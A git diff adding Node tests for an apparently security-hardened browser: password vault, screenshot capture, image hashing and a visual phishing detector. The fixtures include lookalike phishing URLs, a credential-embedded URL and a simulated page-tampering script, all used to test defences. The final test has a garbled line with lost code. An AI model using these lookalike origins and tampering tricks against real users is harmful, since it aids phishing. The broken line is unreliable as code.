t.after(engine.lock); + engine.create(master); engine.lock(); + const record = JSON.parse(fs.readFileSync(options.filePath, 'utf8')); record.scrypt = { N: 2, r: 1, p: 1 }; + fs.writeFileSync(options.filePath, JSON.stringify(record)); engine.unlock(master); engine.lock(); + fs.writeFileSync(options.filePath, Buffer.alloc(8 * 1024 * 1024 + 1)); assert.throws(() => engine.unlock(master)); + fs.writeFileSync(options.filePath, '{bad json'); assert.throws(() => engine.unlock(master)); +}); +test('master requirements, idle bounds and credential validation', t => { + const { engine, options } = fixture(t); t.after(engine.lock); + assert.throws(() => engine.create('short')); assert.equal(engine.status().exists, false); + assert.throws(() => createVault({ ...options, idleSeconds: 59 })); assert.throws(() => createVault({ ...options, idleSeconds: 901 })); + engine.create(master); assert.throws(() => engine.create(master)); assert.equal(engine.status().locked, true); engine.unlock(master); + assert.throws(() => engine.upsert({ origin: 'https://user:pass@company.example', username: 'user', password: 'secret' })); + assert.throws(() => engine.upsert({ origin: 'http://company.example', username: 'user', password: 'secret' })); + assert.throws(() => engine.upsert({ origin: 'https://company.example', username: 'user', password: '' })); + assert.deepEqual(engine.list(), []); + assert.equal(generatePassword().length, 32); assert.throws(() => generatePassword(23)); assert.notEqual(generatePassword(), generatePassword()); +}); +test('idle expiry locks credentials and atomic write failure preserves the last committed vault', t => { + t.mock.timers.enable({ apis: ['setTimeout'] }); + const { engine, options } = fixture(t); t.after(engine.lock); + engine.create(master); const { id } = engine.upsert({ origin: 'https://company.example', username: 'user', password: 'original' }); + const original = fs.readFileSync(options.filePath); + const rename = t.mock.method(fs, 'renameSync', () => { throw new Error('Disk write failed'); }); + assert.throws(() => engine.upsert({ id, origin: 'https://company.example', username: 'user', password: 'uncommitted' })); + assert.equal(engine.credential(id, 'https://company.example').password, 'original'); + assert.deepEqual(fs.readFileSync(options.filePath), original); + assert.equal(fs.readdirSync(path.dirname(options.filePath)).some(name => name.endsWith('.tmp')), false); + rename.mock.restore(); + t.mock.timers.tick(300_001); assert.equal(engine.status().locked, true); + assert.throws(() => engine.credential(id, 'https://company.example')); + engine.unlock(master); assert.equal(engine.credential(id, 'https://company.example').password, 'original'); +}); +test('background metadata polling cannot postpone the idle lock deadline', t => { + t.mock.timers.enable({ apis: ['setTimeout'] }); + const { engine } = fixture(t); t.after(engine.lock); + engine.create(master); + for (let elapsed = 0; elapsed < 300_000; elapsed += 5000) { + assert.deepEqual(engine.list(), []); t.mock.timers.tick(5000); + } + assert.equal(engine.status().locked, true); + assert.throws(() => engine.list()); +}); diff --git a/tests/visual-capture.test.mjs b/tests/visual-capture.test.mjs new file mode 100644 index 0000000..78034f0 --- /dev/null +++ b/tests/visual-capture.test.mjs @@ -0,0 +1,13 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +const require=createRequire(import.meta.url),{capturePNG}=require('../apps/browser/visual-capture.cjs'); +test('stale native captures are never accepted as visual evidence',async()=>{let nativeCalled=false;const bytes=Buffer.from('current-frame'),api={isAttached:()=>false,attach:()=>{},sendCommand:async()=>({data:bytes.toString('base64')}),detach:()=>{}};assert.deepEqual(await capturePNG({capturePage:async()=>{nativeCalled=true;return {isEmpty:()=>false,toPNG:()=>Buffer.from('stale-frame')};},debugger:api}),bytes);assert.equal(nativeCalled,false);}); +test('local capture issues only the screenshot command and detaches',async()=>{ + const calls=[],api={isAttached:()=>false,attach:version=>calls.push(['attach',version]),sendCommand:async(command,args)=>{calls.push([command,args]);return {data:Buffer.from('fixture').toString('base64')};},detach:()=>calls.push(['detach'])}; + assert.deepEqual(await capturePNG({capturePage:async()=>{throw Error('UnknownVizError');},debugger:api},{x:0,y:0,width:100,height:80}),Buffer.from('fixture'));assert.deepEqual(calls.map(call=>call[0]),['attach','Page.captureScreenshot','detach']);assert.equal(calls[1][1].captureBeyondViewport,false); +}); +test('existing debugger, malformed output and unsupported regions fail closed',async()=>{ + const unavailable={capturePage:async()=>{throw Error();},debugger:{isAttached:()=>true}};await assert.rejects(capturePNG(unavailable));await assert.rejects(capturePNG(unavailable,{x:-1,y:0,width:100,height:80})); + let detached=false;await assert.rejects(capturePNG({capturePage:async()=>{throw Error();},debugger:{isAttached:()=>false,attach:()=>{},sendCommand:async()=>({data:'invalid!'}),detach:()=>{detached=true;}}}));assert.equal(detached,true); +}); diff --git a/tests/visual-hash.test.mjs b/tests/visual-hash.test.mjs new file mode 100644 index 0000000..99a53e8 --- /dev/null +++ b/tests/visual-hash.test.mjs @@ -0,0 +1,56 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +const { visualFingerprint, hammingDistance } = createRequire(import.meta.url)('../packages/core/visual-hash.cjs'); +function image(width = 64, height = 64, layout = 0, brightness = 0) { + const rgba = new Uint8Array(width * height * 4); + for (let y = 0; y < height; y++) for (let x = 0; x < width; x++) { + const nx = x / width, ny = y / height; + let value = 220; + if (!layout) { + if (ny < 0.2) value = 45; + if (nx > 0.2 && nx < 0.8 && ny > 0.35 && ny < 0.8) value = 140; + if (nx > 0.3 && nx < 0.7 && ny > 0.5 && ny < 0.6) value = 65; + } else { + if (nx < 0.25) value = 65; + if (nx > 0.4 && nx < 0.9 && ny > 0.2 && ny < 0.45) value = 120; + if (nx > 0.6 && ny > 0.7) value = 45; + } + const index = (y * width + x) * 4; + rgba[index] = rgba[index + 1] = rgba[index + 2] = value + brightness; rgba[index + 3] = 255; + } + return { rgba, width, height }; +} +test('DCT fingerprints are deterministic, brightness stable and resize tolerant', () => { + const original = visualFingerprint(image()); + assert.equal(original.algorithm, 'phash-dct32-v1'); assert.match(original.hash, /^[0-9a-f]{16}$/); assert.equal(original.usable, true); + assert.deepEqual(visualFingerprint(image()), original); + assert.equal(hammingDistance(original.hash, visualFingerprint(image(64, 64, 0, 12)).hash), 0); + assert.ok(hammingDistance(original.hash, visualFingerprint(image(128, 128)).hash) <= 6); +}); +test('blank low contrast and transparent images are unusable', () => { + for (const value of [0, 127, 255]) { + const rgba = new Uint8Array(64 * 64 * 4); + for (let index = 0; index < rgba.length; index += 4) { rgba[index] = rgba[index + 1] = rgba[index + 2] = value; rgba[index + 3] = 255; } + const result = visualFingerprint({ rgba, width: 64, height: 64 }); assert.equal(result.usable, false); assert.equal(result.quality.contrast, 0); + } + const transparent = image(); for (let index = 3; index < transparent.rgba.length; index += 4) transparent.rgba[index] = 0; + assert.equal(visualFingerprint(transparent).usable, false); +}); +test('different layouts exceed the conservative similarity threshold', () => { + const distance = hammingDistance(visualFingerprint(image()).hash, visualFingerprint(image(64, 64, 1)).hash); + assert.ok(distance > 10, `distance ${distance}`); +}); +test('crop normalizes selected region and clamps safe partial intersections', () => { + const input = image(); + assert.deepEqual(visualFingerprint({ ...input, region: { x: -10, y: -10, width: 74, height: 74 } }), visualFingerprint(input)); + const cropped = visualFingerprint({ ...input, region: { x: 15, y: 15, width: 40, height: 40 } }); + assert.notEqual(cropped.hash, visualFingerprint(input).hash); +}); +test('malformed dimensions buffers crop and hash formats are rejected', () => { + const input = image(); + for (const change of [{ width: -1 }, { width: 1.5 }, { width: 9000 }, { height: 9000 }, { rgba: [1, 2, 3] }, { rgba: new Uint8Array(4) }, { region: { x: 100, y: 100, width: 3, height: 3 } }, { region: { x: 0, y: 0, width: 0, height: 4 } }, { region: { x: Infinity, y: 0, width: 4, height: 4 } }]) assert.throws(() => visualFingerprint({ ...input, ...change })); + assert.throws(() => visualFingerprint({ rgba: new Uint8Array(4), width: 8192, height: 8192 })); + assert.throws(() => hammingDistance('A'.repeat(16), '0'.repeat(16))); assert.throws(() => hammingDistance('0', '0'.repeat(16))); + assert.equal(hammingDistance('0'.repeat(16), 'f'.repeat(16)), 64); +}); diff --git a/tests/visual-image.test.mjs b/tests/visual-image.test.mjs new file mode 100644 index 0000000..eb99a9e --- /dev/null +++ b/tests/visual-image.test.mjs @@ -0,0 +1,11 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +const require=createRequire(import.meta.url),{PNG}=require('pngjs'),{decodePNG,fingerprintPNG}=require('../packages/core/visual-image.cjs'); +function image(){const png=new PNG({width:64,height:64});for(let y=0;y<64;y++)for(let x=0;x<64;x++){const i=(y*64+x)*4;png.data.set([x<32?30:240,y<20?10:180,x+y,255],i);}return PNG.sync.write(png);} +test('bounded PNG returns deterministic derived features without source pixels',()=>{const source=image(),decoded=decodePNG(source),feature=fingerprintPNG(source);assert.equal(decoded.rgba.length,64*64*4);assert.equal(feature.usable,true);assert.match(feature.hash,/^[a-f0-9]{16}$/);assert.equal(feature.rgba,undefined);assert.deepEqual(feature,fingerprintPNG(source));}); +test('malformed, oversized, animated/interlaced and oversized output PNG are refused',()=>{ + assert.throws(()=>decodePNG(Buffer.alloc(11*1024*1024)));assert.throws(()=>decodePNG(image().subarray(0,40))); + for(const mutate of [bytes=>bytes.writeUInt32BE(0xffffffff,16),bytes=>{bytes[28]=1;},bytes=>{bytes[24]=16;},bytes=>{bytes[bytes.length-5]^=1;}]){const bytes=image();mutate(bytes);assert.throws(()=>decodePNG(bytes));} + assert.throws(()=>decodePNG(Buffer.concat([image(),Buffer.from('trailing-data')]))); +}); diff --git a/tests/visual-phishing.test.mjs b/tests/visual-phishing.test.mjs new file mode 100644 index 0000000..2dc0276 --- /dev/null +++ b/tests/visual-phishing.test.mjs @@ -0,0 +1,60 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import vm from 'node:vm'; +import {createRequire} from 'node:module'; +const {createVisualPhishing,describeScript}=createRequire(import.meta.url)('../apps/browser/visual-phishing.cjs'); +function fixture(overrides={}){ + let url='https://evil.test/login';const events=[],blocks=[]; + const reference={hash:'0123456789abcdef',algorithm:'phash-dct32-v1',scope:'viewport',viewport:{width:1320,height:900}}; + const policy={version:1,expiresAt:new Date(Date.now()+60000).toISOString(),security:{visualPhishing:{enabled:true,failClosed:true,brands:[{id:'company-login',label:'Company',allowedOrigins:['https://company.test'],requiredText:['Company'],maxDistance:6,references:[reference]}]}}}; + const context={ready:true,policy,webContents:{getURL:()=>url},navigationId:1}; + const settings={getContext:()=>({...context,url}),describe:async()=>({hasCredentialInputs:true,visibleText:'Company login'}),capture:async()=>({width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}}),fingerprint:async image=>image.fingerprint,compare:async()=>0,audit:async event=>events.push(event),block:async result=>blocks.push(result),...overrides}; + return {checker:createVisualPhishing(settings),context,policy,reference,events,blocks,setURL:value=>url=value}; +} +test('strong brand match on credential page blocks and emits metadata-only audit',async()=>{ + const f=fixture();const r=await f.checker.check();assert.equal(r.decision,'block');assert.equal(r.ruleId,'company-login');assert.equal(f.blocks.length,1);assert.deepEqual(f.events,[{kind:'phishing.block',ruleId:'company-login',host:'evil.test'}]);assert.equal(JSON.stringify(f.events).includes('012345'),false); +}); +test('exact HTTPS own-brand origin exempts only that brand',async()=>{ + const f=fixture();f.setURL('https://company.test/login');assert.equal((await f.checker.check()).decision,'allow'); + f.policy.security.visualPhishing.brands.push({...f.policy.security.visualPhishing.brands[0],id:'other-brand',allowedOrigins:['https://other.test']});assert.equal((await f.checker.check()).ruleId,'other-brand'); +}); +test('HTTP, suffix and lookalike origins cannot reuse trusted exemption',async()=>{ + for(const url of ['http://company.test/login','https://company.test.evil.test/login','https://c0mpany.test/login']){const f=fixture();f.setURL(url);assert.equal((await f.checker.check()).decision,'block');} +}); +test('unrelated text, absent credentials and dissimilar image are allowed',async()=>{ + for(const settings of [{describe:async()=>({hasCredentialInputs:true,visibleText:'Different unrelated sign in'})},{describe:async()=>({hasCredentialInputs:false,visibleText:'Company brochure'})},{compare:async()=>40}]){const f=fixture(settings);assert.equal((await f.checker.check()).decision,'allow');assert.equal(f.blocks.length,0);} +}); +test('changed URL, policy identity or document epoch discards asynchronous match',async()=>{ + for(const change of ['url','policy','document','reset']){const f=fixture({capture:async()=>{if(change==='url')f.setURL('https://another.test/');if(change==='policy')f.context.policy={...f.policy};if(change==='document')f.context.navigationId++;if(change==='reset')f.checker.reset();return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};}});const r=await f.checker.check();assert.equal(r.decision,'unknown');assert.equal(r.reason,'stale-context');assert.equal(f.blocks.length,0);} +}); +test('real capture failure on credential page fails closed; unsupported dimensions remain unknown',async()=>{ + const failed=fixture({capture:async()=>{throw Error('Screenshot unavailable');}});assert.equal((await failed.checker.check()).decision,'block'); + const mismatch=fixture({capture:async()=>({width:800,height:600,fingerprint:{hash:'0123456789abcdef',usable:true}})});assert.equal((await mismatch.checker.check()).decision,'unknown');assert.equal(mismatch.blocks.length,0); + const unusable=fixture({fingerprint:async()=>({usable:false,hash:'0123456789abcdef'})});assert.equal((await unusable.checker.check()).decision,'unknown'); +}); +test('description failure fails closed and expired policy never produces approval',async()=>{ + const failed=fixture({describe:async()=>{throw Error('Unavailable');}});const verdict=await failed.checker.check();assert.equal(verdict.decision,'block');assert.equal(verdict.reason,'visual-description-unavailable'); + const expired=fixture();expired.policy.expiresAt=new Date(Date.now()-1).toISOString();assert.equal((await expired.checker.check()).reason,'policy-expired'); + const stale=fixture({capture:async()=>{stale.policy.expiresAt=new Date(Date.now()-1).toISOString();return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};}});assert.equal((await stale.checker.check()).reason,'stale-context');assert.equal(stale.blocks.length,0); +}); +test('login-form references require aspect match and rectangle',async()=>{ + const f=fixture({describe:async()=>({hasCredentialInputs:true,visibleText:'Company',formRect:{x:0,y:0,width:600,height:300}}),capture:async()=>({width:600,height:300,fingerprint:{hash:'0123456789abcdef',usable:true}})});f.reference.scope='login-form';f.reference.viewport={width:300,height:150};assert.equal((await f.checker.check()).decision,'block'); +}); +test('description script sees email-only login without collecting values',()=>{ + const body={parentElement:null};const input={type:'email',name:'email',id:'email',value:'must-never-read',disabled:false,parentElement:body,getAttribute:()=>'',getClientRects:()=>[{}],closest:()=>null,getBoundingClientRect:()=>({x:10,y:10,right:310,bottom:50})};const textElement={parentElement:body,getAttribute:()=>'',getClientRects:()=>[{}],closest:()=>null};let visited=false; + Object.defineProperty(input,'value',{get(){throw Error('Field value access forbidden');}}); + const document={body,querySelectorAll:()=>[input],createTreeWalker:()=>({nextNode:()=>visited?null:(visited=true,{parentElement:textElement,textContent:'Company'})})}; + const sandbox={location:{href:'https://evil.test/login'},document,innerWidth:1320,innerHeight:900,NodeFilter:{SHOW_TEXT:4},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'})}; + const result=vm.runInNewContext(describeScript('https://evil.test/login'),sandbox);assert.equal(result.hasCredentialInputs,true);assert.equal(result.visibleText,'Company');assert.equal(JSON.stringify(result).includes('must-never'),false); + sandbox.location.href='https://replacement.test';assert.throws(()=>vm.runInNewContext(describeScript('https://evil.test/login'),sandbox),/Document changed/); +}); +test('concurrent checks serialize capture and forced checks take fresh snapshots',async()=>{ + let active=0,max=0;const f=fixture({capture:async()=>{active++;max=Math.max(max,active);await new Promise(r=>setTimeout(r,10));active--;return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};}}); + await Promise.all([f.checker.check(),f.checker.check({force:true}),f.checker.check({force:true})]);assert.equal(max,1); +}); +test('multiple references reuse one capture and fingerprint while validating each reference viewport',async()=>{ + let captures=0,fingerprints=0,comparisons=0; + const f=fixture({capture:async()=>{captures++;return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};},fingerprint:async image=>{fingerprints++;return image.fingerprint;},compare:async()=>{comparisons++;return 40;}}); + f.policy.security.visualPhishing.brands[0].references.push({...f.reference,hash:'aaaaaaaaaaaaaaaa'},{...f.reference,hash:'bbbbbbbbbbbbbbbb',viewport:{width:800,height:600}}); + assert.equal((await f.checker.check()).decision,'unknown');assert.equal(captures,1);assert.equal(fingerprints,1);assert.equal(comparisons,2); +}); diff --git a/tests/visual-preload.test.mjs b/tests/visual-preload.test.mjs new file mode 100644 index 0000000..ee0097f --- /dev/null +++ b/tests/visual-preload.test.mjs @@ -0,0 +1,112 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import vm from 'node:vm'; + +const source=fs.readFileSync(new URL('../apps/browser/site-preload.cjs',import.meta.url),'utf8'); +function harness(enabled,options={}){ + const listeners=new Map(),ipcListeners=new Map(),timers=[],requests=[],sent=[],observers=[]; + const window={stop:()=>{},addEventListener:(name,handler,capture)=>{assert.equal(capture===true||capture===undefined,true);listeners.set(name,[...(listeners.get(name)||[]),handler]);}}; + const ipcRenderer={on:(channel,callback)=>ipcListeners.set(channel,callback),sendSync:channel=>{assert.equal(channel,'managed:visual-policy');return {enabled};},send:(channel,payload)=>sent.push({channel,payload}),invoke:(channel,payload)=>new Promise(resolve=>requests.push({channel,payload,resolve}))}; + const location={href:options.url||'https://example.test/login'}; + class MutationObserver{constructor(callback){this.callback=callback;observers.push(this);}observe(_element,settings){this.settings=settings;}} + class Document{}Document.prototype.execCommand=()=>true; + const context={require:name=>{assert.equal(name,'electron');return {ipcRenderer,contextBridge:{executeInMainWorld:({func})=>func()}};},Document,DOMException,process:{sandboxed:true,contextIsolated:true,isMainFrame:true},window,location,document:{body:{innerText:'Public page content'},documentElement:{}},crypto:options.crypto||{randomUUID:()=> 'opaque-document-fixture-token'},MutationObserver,setTimeout:(callback,delay)=>{timers.push({callback,delay});return timers.length;}}; + vm.runInNewContext(source,context,{filename:'site-preload.cjs'}); + function dispatch(name,credential=true,inputType){const result={prevented:false,stopped:false};const target={closest:()=>credential?target:null};for(const listener of listeners.get(name)||[]){listener({target,inputType,preventDefault:()=>result.prevented=true,stopImmediatePropagation:()=>result.stopped=true});if(result.stopped)break;}return result;} + function domReady(){for(const listener of listeners.get('DOMContentLoaded')||[])listener();} + function mutate(attribute){assert.ok(observers.length);for(const observer of observers){if(!attribute||observer.settings.attributes&&(!observer.settings.attributeFilter||observer.settings.attributeFilter.includes(attribute)))observer.callback([]);}} + function configure(nextEnabled,token){assert.ok(ipcListeners.has('managed:visual-config'));ipcListeners.get('managed:visual-config')({}, {enabled:nextEnabled,token});} + function timer(delay){const index=timers.findIndex(t=>t.delay===delay);if(index<0)return false;const item=timers.splice(index,1)[0];item.callback();return true;} + return {context,location,requests,sent,timers,dispatch,domReady,mutate,timer,configure}; +} +const settle=()=>new Promise(resolve=>setImmediate(resolve)); + +test('disabled visual policy preserves input and submits without requesting visual approval',()=>{ + const f=harness(false);f.domReady(); + for(const event of ['beforeinput','submit','pointerdown'])assert.deepEqual(f.dispatch(event),{prevented:false,stopped:false}); + assert.equal(f.timer(150),false);assert.equal(f.requests.length,0); + assert.equal(f.timer(350),true);assert.equal(f.sent[0].channel,'managed:page-content'); +}); + +test('enabled credential input, paste and submit are held until current document approval',async()=>{ + const f=harness(true);f.domReady(); + for(const event of ['beforeinput','paste','submit'])assert.deepEqual(f.dispatch(event),{prevented:true,stopped:true}); + assert.equal(f.timer(150),true);assert.equal(f.requests.length,1); + const request=f.requests[0];assert.equal(request.channel,'managed:visual-check');assert.equal(request.payload.url,f.location.href);assert.ok(request.payload.revision>0); + request.resolve({decision:'allow'});await settle(); + for(const event of ['beforeinput','submit'])assert.deepEqual(f.dispatch(event),{prevented:false,stopped:false}); +}); + +test('DOM mutation invalidates approval synchronously before a new inspection completes',async()=>{ + const f=harness(true);f.domReady();f.timer(150);f.requests[0].resolve({decision:'allow'});await settle(); + assert.equal(f.dispatch('beforeinput').prevented,false); + f.mutate(); + assert.equal(f.dispatch('beforeinput').prevented,true,'A changed credential form must not receive input during inspection'); + assert.equal(f.dispatch('submit').prevented,true); +}); + +test('stale successful inspection cannot release a form changed while inspection was pending',async()=>{ + const f=harness(true);f.domReady();f.timer(150);const first=f.requests[0]; + f.mutate();f.timer(150);const second=f.requests[1];assert.ok(second.payload.revision>first.payload.revision); + first.resolve({decision:'allow'});await settle(); + assert.equal(f.dispatch('beforeinput').prevented,true,'An allow result for the previous form revision must be discarded'); + // The held paste itself invalidates the outstanding second revision as another attempt. + second.resolve({decision:'allow'});await settle();assert.equal(f.dispatch('submit').prevented,true); + f.timer(150);const latest=f.requests.at(-1);latest.resolve({decision:'allow'});await settle(); + assert.equal(f.dispatch('beforeinput').prevented,false); +}); + +test('changed document URL discards an outstanding allow result and exposes no page bridge',async()=>{ + const f=harness(true);f.domReady();f.timer(150);f.location.href='https://replacement.test/login';f.requests[0].resolve({decision:'allow'});await settle(); + assert.equal(f.dispatch('beforeinput').prevented,true); + assert.equal(f.context.window.safetynet,undefined);assert.equal(f.context.window.ipcRenderer,undefined); + assert.ok(f.requests.every(request=>Object.keys(request.payload).sort().join(',')==='revision,token,url')); +}); +test('live policy enable holds input immediately and acknowledges before asynchronous inspection',async()=>{ + const f=harness(false);f.domReady();assert.equal(f.dispatch('beforeinput').prevented,false); + f.configure(true,'configuration-1');assert.equal(f.dispatch('beforeinput').prevented,true); + assert.ok(f.sent.some(item=>item.channel==='managed:visual-configured'&&item.payload==='configuration-1')); + f.timer(150);f.requests.at(-1).resolve({decision:'allow'});await settle();assert.equal(f.dispatch('beforeinput').prevented,false); + f.configure(false,'configuration-2');assert.equal(f.dispatch('beforeinput').prevented,false);assert.equal(f.dispatch('submit').prevented,false); + assert.ok(f.sent.some(item=>item.channel==='managed:visual-configured'&&item.payload==='configuration-2')); +}); +test('live disable and re-enable invalidates outstanding old approval',async()=>{ + const f=harness(true);f.domReady();f.timer(150);const stale=f.requests[0]; + f.configure(false,'off');assert.equal(f.dispatch('beforeinput').prevented,false); + f.configure(true,'on');stale.resolve({decision:'allow'});await settle();assert.equal(f.dispatch('beforeinput').prevented,true); +}); +test('credential marker attributes invalidate approval even without visual text changes',async()=>{ + for(const attribute of ['name','id','autocomplete','aria-hidden','disabled']){ + const f=harness(true);f.domReady();f.timer(150);f.requests[0].resolve({decision:'allow'});await settle();assert.equal(f.dispatch('beforeinput').prevented,false); + f.mutate(attribute);assert.equal(f.dispatch('beforeinput').prevented,true,`${attribute} changed a credential form without changing its visible text`); + } +}); +test('legacy clipboard primitive remains frozen and unsupported page transfer events are always denied',()=>{ + const f=harness(false);const descriptor=Object.getOwnPropertyDescriptor(f.context.Document.prototype,'execCommand'); + assert.equal(descriptor.configurable,false);assert.equal(descriptor.writable,false); + for(const operation of ['copy','cut','paste','PasteAndMatchStyle','PasteGlobalSelection'])assert.equal(descriptor.value(operation),false); + assert.equal(descriptor.value('bold'),true); + for(const event of ['copy','cut','paste','dragstart','dragover','drop'])assert.equal(f.dispatch(event).prevented,true); + for(const type of ['insertFromPaste','insertFromDrop','deleteByCut'])assert.equal(f.dispatch('beforeinput',true,type).prevented,true); + let coerced=false;assert.equal(descriptor.value({toString:()=>{coerced=true;return 'copy';}}),false);assert.equal(coerced,false); + for(const operation of ['open','write','writeln']){ + const replacement=Object.getOwnPropertyDescriptor(f.context.Document.prototype,operation);assert.equal(replacement.configurable,false);assert.equal(replacement.writable,false); + assert.throws(()=>replacement.value(),error=>error.name==='SecurityError'); + } +}); +test('document listener reset and page tampering with Reflect/RegExp cannot restore legacy clipboard commands',()=>{ + const f=harness(false); + // Document.open clears listeners without creating a new JS realm; retain only the frozen primitive. + const result=vm.runInNewContext(`(()=>{window.addEventListener=()=>{};Reflect.apply=()=>true;RegExp.prototype.test=()=>false;try{Document.prototype.execCommand=()=>true;}catch{};return {copy:Document.prototype.execCommand('copy'),paste:Document.prototype.execCommand('paste'),bold:Document.prototype.execCommand('bold'),locked:Object.getOwnPropertyDescriptor(Document.prototype,'execCommand').configurable===false};})()`,f.context); + assert.equal(result.copy,false);assert.equal(result.paste,false);assert.equal(result.bold,true);assert.equal(result.locked,true); +}); +test('HTTP insecure context without randomUUID still monitors content and uses random document token',()=>{ + let randomCalls=0; + const f=harness(true,{url:'http://proxy-fixture.test/',crypto:{getRandomValues:bytes=>{randomCalls++;for(let i=0;iitem.channel==='managed:page-content').payload)),{text:'Public page content'}); + f.timer(150);assert.match(f.requests[0].payload.token,/^[a-f0-9]{32}$/);assert.equal(f.requests[0].payload.url,'http://proxy-fixture.test/'); + f.context.document.body.innerText='Changed public page';f.mutate('name');f.timer(350); + assert.equal(f.sent.filter(item=>item.channel==='managed:page-content').at(-1).payload.text,'Changed public page'); +});